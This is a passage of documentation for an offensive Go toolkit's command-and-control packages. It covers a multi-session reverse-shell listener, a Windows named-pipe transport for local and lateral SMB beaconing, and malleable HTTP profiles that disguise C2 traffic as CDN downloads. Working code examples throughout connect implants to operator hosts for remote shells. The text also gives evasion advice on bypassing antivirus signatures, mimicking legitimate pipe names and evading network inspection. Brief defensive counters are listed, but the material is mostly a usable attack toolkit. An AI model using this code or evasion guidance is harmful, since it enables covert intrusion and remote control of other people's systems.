• Public stage signatures. Defender, CrowdStrike, and SentinelOne fingerprint the unmodified Meterpreter reflective DLL. Custom-built stages (or crypto-wrapped stages your handler decrypts) are required against modern AV.
• Self-injection default is loud. VirtualAlloc + CreateThread is the textbook process-injection chain. Always set Config.Injector against any non-trivial defender.
• Single connection. No reconnect logic — if the stage download fails, the stager exits. Wrap in a higher-level retry loop or use c2/shell with a custom protocol if reconnect is needed.

See also

• Transport — pluggable wire layer alternative.
• inject — primary Config.Injector source.
• Reverse shell — when full Meterpreter is overkill.
• HD Moore et al., Metasploit Unleashed: Meterpreter — primer on the protocol.

Multicat — multi-session listener

← c2 index · docs/index

TL;DR

Operator-side counterpart to c2/shell. One Listener, many concurrent agents. Each inbound connection gets a sequential session ID, optional BANNER-encoded hostname metadata, and a lifecycle event (EventOpened / EventClosed) on the manager's channel. Sessions are in-memory only — they do not survive a manager restart. Never embedded in the implant.

Primer

Engagements with more than one host quickly outgrow a single nc -lvp 4444. Multicat is a thin manager that owns one transport Listener, accepts every incoming agent, assigns a session ID, optionally reads a BANNER:<hostname>\n hello line, and emits a typed event so an operator UI (TUI, web dashboard, anything) can render an arrival / departure stream.

The wire protocol is intentionally tiny: when an agent connects, multicat reads the first line with a 500 ms deadline. If the line matches BANNER:<hostname>\n, it populates SessionMetadata.Hostname. All other bytes are part of the normal shell I/O stream and pass through. Agents that do not implement BANNER are unaffected.

The package never runs on a target — it is operator infrastructure. That keeps the detection surface zero.

How it works

sequenceDiagram
    participant Agent as "Implant (c2/shell)"
    participant Mgr as "multicat.Manager"
    participant Op as "Operator UI"

    Agent->>Mgr: Connect (transport)
    Mgr->>Mgr: assign session ID
    Mgr->>Agent: read first line (500ms deadline)
    Agent-->>Mgr: BANNER:lab-host-01\n  (optional)
    Mgr->>Op: Event{Type: EventOpened, Session: …}
    Note over Agent,Mgr: full-duplex shell I/O
    Agent->>Mgr: connection drop
    Mgr->>Op: Event{Type: EventClosed, Session: …}

API Reference

multicat.New() *Manager

godoc

Construct an empty manager.

(*Manager).Listen(ctx context.Context, ln transport.Listener) error

godoc

Accept loop. Blocks until ctx is cancelled or the listener errors.

(*Manager).Events() <-chan Event

godoc

Returns the lifecycle-event channel. Close-safe.

multicat.Session / multicat.SessionMetadata

godoc

Session holds the connection plus a SessionMetadata (ID, Hostname, RemoteAddr).

multicat.EventType

godoc

Enum: EventOpened, EventClosed.

Examples

Simple

import (
    "context"
    "fmt"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
)

ln, _ := transport.NewTCPListener(":4444")
mgr := multicat.New()
go func() { _ = mgr.Listen(context.Background(), ln) }()

for ev := range mgr.Events() {
    if ev.Type == multicat.EventOpened {
        fmt.Printf("[+] %s from %s\n", ev.Session.Meta.Hostname, ev.Session.Meta.RemoteAddr)
    }
}

Composed (TLS listener + BANNER agents)

Operator side:

ln, _ := transport.NewTLSListener(":8443", "server.crt", "server.key")
mgr := multicat.New()
go mgr.Listen(context.Background(), ln)

Agent side (in c2/shell extension or custom code):

_, _ = conn.Write([]byte("BANNER:" + osHostname + "\n"))

Advanced (channel multiplexer routing into a TUI)

go func() {
    for ev := range mgr.Events() {
        switch ev.Type {
        case multicat.EventOpened:
            ui.Add(ev.Session)
        case multicat.EventClosed:
            ui.Remove(ev.Session.Meta.ID)
        }
    }
}()

Complex

The Manager does not own session selection or interactive "foreground" semantics — that is the operator UI's job. See cmd/rshell for a reference TUI.

See ExampleNew in multicat_example_test.go.

OPSEC & Detection

This package never executes on a target. The only relevant signals are on the agent side (reverse-shell.md).

The operator-side listener is an inbound TCP / TLS port on the operator's box. Common operator-hygiene practices apply: bind on a private interface, front with a redirector (Apache rewrite, Cloudflare worker), put it behind a single jump host.

MITRE ATT&CK

Limitations

• In-memory state. Restarting the manager loses every session. Persist out-of-band (log file, database) if the engagement needs continuity.
• No interactive multiplexer. The package emits events; the operator UI implements foreground selection, scroll-back, kill-on- exit. cmd/rshell is the reference TUI.
• BANNER deadline is 500 ms. Lossy networks may miss the BANNER line and treat the bytes as shell I/O. The agent should retry or fall back to inline BANNER once authenticated.
• No authentication. multicat accepts whoever the listener hands it. For mTLS, configure on the listener (c2/cert).

See also

• Reverse shell — agent counterpart.
• Transport — listener factories (NewTCPListener, NewTLSListener).
• cmd/rshell — reference TUI built on multicat.

Named-pipe transport

← c2 index · docs/index

TL;DR

Windows named-pipe implementation of the c2/transport Transport and Listener interfaces. Lets implants beacon over local IPC (no socket, no firewall, no NIDS visibility) or over SMB to another host (lateral C2 routed through the file-share redirector). Pipe traffic is the textbook example of "looks like normal Windows".

Primer

Most C2 traffic leaves the host over TCP / HTTP, where firewalls and NIDS inspect every packet. Windows named pipes are an on-host IPC channel that the OS uses constantly — SMB, RPC, the print spooler, LSASS, every COM out-of-process server. Two processes communicating over a pipe leave zero network artefacts; cross-host pipes (over the SMB redirector) leave SMB session-auditing entries that look identical to legitimate file-share use.

The package implements both sides:

• Listener (namedpipe.NewListener(name)) — server-side, accepts agents on \\.\pipe\<name>.
• Transport (namedpipe.New(name, timeout)) — client-side, connects to either \\.\pipe\<name> (local) or \\<host>\pipe\<name> (cross-host SMB).

Either side plugs into the rest of the C2 stack: c2/shell takes a Transport, c2/multicat takes a Listener.

How it works

sequenceDiagram
    participant Server as "namedpipe.Listener"
    participant NP as "\\.\pipe\c2agent"
    participant Client as "namedpipe.Transport (implant)"

    Server->>NP: CreateNamedPipe (instance 1)
    Server->>NP: ConnectNamedPipe (block)
    Client->>NP: CreateFile(\\.\pipe\c2agent)
    NP-->>Server: client connected
    Server->>Server: spawn next instance (CreateNamedPipe)
    Server->>Server: ConnectNamedPipe (block)
    par bidirectional I/O
        Client->>NP: WriteFile (stdin)
        NP-->>Server: ReadFile
        Server->>NP: WriteFile (stdout)
        NP-->>Client: ReadFile
    end

Each Accept returns a connected pipe instance; the listener immediately spawns the next instance so subsequent clients do not block.

API Reference

namedpipe.NewListener(name string) (*Listener, error)

godoc

Server-side. name is the full pipe path (\\.\pipe\c2agent).

(*Listener).Accept(ctx context.Context) (net.Conn, error)

Block until an agent connects. Returns a net.Conn whose Read / Write traverse the pipe.

namedpipe.New(addr string, timeout time.Duration) *NamedPipe

godoc

Client-side. addr is \\.\pipe\<name> (local) or \\<host>\pipe\<name> (SMB). timeout applies to Connect only.

(*NamedPipe).Connect(ctx context.Context) error

Open the pipe.

Standard Transport methods

Read, Write, Close, RemoteAddr follow c2/transport.Transport.

Examples

Simple (local IPC)

Server (operator's relay tool on the same host):

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
conn, _ := ln.Accept(context.Background())

Implant:

p := namedpipe.New(`\\.\pipe\c2agent`, 5*time.Second)
_ = p.Connect(context.Background())
_, _ = p.Write([]byte("hello"))

Composed (lateral SMB pipe)

Server on OPERATOR-HOST:

ln, _ := namedpipe.NewListener(`\\.\pipe\lat-c2`)

Agent on a different domain-joined host (with credentials to reach the share):

p := namedpipe.New(`\\OPERATOR-HOST\pipe\lat-c2`, 30*time.Second)
_ = p.Connect(context.Background())

The Windows SMB redirector tunnels the pipe over tcp/445. To NIDS this looks like an SMB session; a typical defender focused on web / TLS traffic does not parse SMB content.

Advanced (named-pipe shell + multicat)

Operator side combines multicat with the pipe listener:

import (
    "context"

    "github.com/oioio-space/maldev/c2/multicat"
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/c2/transport/namedpipe"
)

ln, _ := namedpipe.NewListener(`\\.\pipe\c2agent`)
adapter := transport.WrapNetListener(ln) // expose as transport.Listener
mgr := multicat.New()
go mgr.Listen(context.Background(), adapter)

Implant uses the same pipe transport on the agent side via c2/shell.New.

Complex (pipe + named-pipe ACL hardening)

Production pipe servers need an explicit SecurityDescriptor so unprivileged code on the same host cannot connect. The package's default DACL allows Everyone for ease of testing — overwrite it before exposing across hosts. Refer to c2/transport/namedpipe/listener_windows.go for the exact SECURITY_ATTRIBUTES shape.

See ExampleNewListener in namedpipe_example_test.go.

OPSEC & Detection

D3FEND counters:

• D3-NTA — SMB-traffic profiling.
• D3-OTF — egress filter blocking outbound tcp/445 outside expected fileservers.

Hardening for the operator: name the pipe to mimic a legitimate service (e.g. \\.\pipe\spoolss-<rand>); set a strict DACL that only the implant's user can connect to; lateral SMB pipes assume tcp/445 is open between hosts — verify before relying on the technique.

MITRE ATT&CK

Limitations

• Windows-only. No Unix-domain-socket fallback in this package.
• DACL defaults are permissive. Override SECURITY_ATTRIBUTES on the listener before exposing across users.
• SMB pipe needs tcp/445 connectivity between hosts; many segmented networks deny it.
• Bidirectional only. No half-duplex / shared-channel mode.

See also

• Transport — generic interface.
• Reverse shell — primary consumer over local pipes.
• Multicat — operator-side accept loop.
• Microsoft, Named Pipes Overview — primer.

Malleable HTTP profiles

← c2 index · docs/index

TL;DR

Wrap any HTTP transport in a profile that shapes traffic to look like benign web activity: GET to plausible CDN-style URIs, custom headers (Referer, Accept), real browser User-Agent, optional data encoders. A network analyst inspecting the wire sees jQuery downloads, not C2 callbacks.

Primer

TLS encrypts payload bytes; it does not hide HTTP structure. Network analysts who terminate TLS at a corporate proxy (or just see flow metadata) still observe URL paths, request frequencies, header sets, and body sizes. A reverse shell that hits /api/data every five seconds is trivially clusterable.

Malleable profiles steal a trick from Cobalt Strike: shape the C2 into HTTP requests that look like ordinary web traffic. The profile holds:

• GetURIs — list of URI patterns for data retrieval. The transport rotates through them. Examples: /jquery-3.7.1.min.js, /static/css/bootstrap.min.css.
• PostURIs — same for data submission.
• Headers — custom request headers (Referer, Accept, Cache-Control).
• UserAgent — pinned User-Agent string. Pair with useragent for randomised real-browser UAs.
• DataEncoder / DataDecoder — optional transforms applied to payload bytes before the request body is built / after the response body is parsed. Lets the operator wrap C2 in (e.g.) a fake JSON envelope, hide it inside an image-shaped blob, or further encrypt on top of TLS.

How it works

sequenceDiagram
    participant Sh as "c2/shell or stager"
    participant Mal as "Malleable transport"
    participant CDN as "Operator handler (looks like CDN)"

    Sh->>Mal: Write([]byte("ls /etc"))
    Mal->>Mal: DataEncoder(bytes)
    Mal->>CDN: GET /jquery-3.7.1.min.js<br>Referer: https://docs.example/<br>User-Agent: Chrome/124
    CDN-->>Mal: 200 OK + payload-as-jquery
    Mal->>Mal: DataDecoder(body)
    Mal-->>Sh: Read → []byte("/etc/passwd contents")

The handler on the operator side accepts requests on the same URIs and responds with the next chunk. With realistic timing (jitter, sleep) the traffic is indistinguishable from a slow CDN page-load.

API Reference

transport.Profile

godoc

type Profile struct {
    GetURIs     []string
    PostURIs    []string
    Headers     map[string]string
    UserAgent   string
    DataEncoder func([]byte) []byte
    DataDecoder func([]byte) []byte
}

transport.NewMalleable(address string, timeout time.Duration, profile *Profile, opts ...MalleableOption) *Malleable

godoc

Construct a malleable HTTP transport. address is the operator endpoint (https://operator.example); profile shapes traffic; opts include WithTLSConfig(...) to inject a custom *http.Transport (typically holding the uTLS / cert-pin configuration).

transport.WithTLSConfig(*http.Transport) MalleableOption

godoc

Inject the underlying *http.Transport. Compose with uTLS or fingerprint-pinning to harden the connection layer.

Examples

Simple

import (
    "context"
    "time"

    "github.com/oioio-space/maldev/c2/transport"
)

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/popper.min.js"},
    PostURIs:  []string{"/api/v2/telemetry"},
    Headers:   map[string]string{"Referer": "https://docs.example/"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) AppleWebKit/537.36 Chrome/124",
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Composed (pair with the useragent package)

import (
    "github.com/oioio-space/maldev/c2/transport"
    "github.com/oioio-space/maldev/useragent"
)

db, _ := useragent.Load()
ua := db.Filter(func(e useragent.Entry) bool { return e.Browser == "Chrome" }).Random()

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js"},
    UserAgent: ua.UserAgent,
}
tr := transport.NewMalleable("https://operator.example", 10*time.Second, profile)
_ = tr.Connect(context.Background())

Advanced (encoder pair — wrap C2 in a fake JSON body)

import (
    "encoding/base64"
    "fmt"
)

profile := &transport.Profile{
    PostURIs: []string{"/api/v1/events"},
    DataEncoder: func(b []byte) []byte {
        return []byte(fmt.Sprintf(`{"event":"page_view","payload":%q}`,
            base64.StdEncoding.EncodeToString(b)))
    },
    DataDecoder: func(b []byte) []byte {
        // Parse JSON, base64-decode payload, return raw bytes.
        // Implementation omitted.
        return decodeJSONPayload(b)
    },
}

Complex (full chain — uTLS + cert pin + malleable + shell)

import (
    "crypto/tls"
    "net/http"
    "time"

    "github.com/oioio-space/maldev/c2/shell"
    "github.com/oioio-space/maldev/c2/transport"
)

httpTr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

profile := &transport.Profile{
    GetURIs:   []string{"/jquery-3.7.1.min.js", "/bootstrap.min.css"},
    PostURIs:  []string{"/api/v2/metrics"},
    UserAgent: "Mozilla/5.0 (Windows NT 10.0; Win64) Chrome/124",
    Headers:   map[string]string{"Referer": "https://docs.example/"},
}
tr := transport.NewMalleable("https://cdn.example.com", 10*time.Second, profile,
    transport.WithTLSConfig(httpTr))

sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()

OPSEC & Detection

D3FEND counters:

• D3-NTA — content + header analysis on TLS-terminated traffic.
• D3-FCR — YARA-like rules on response bodies.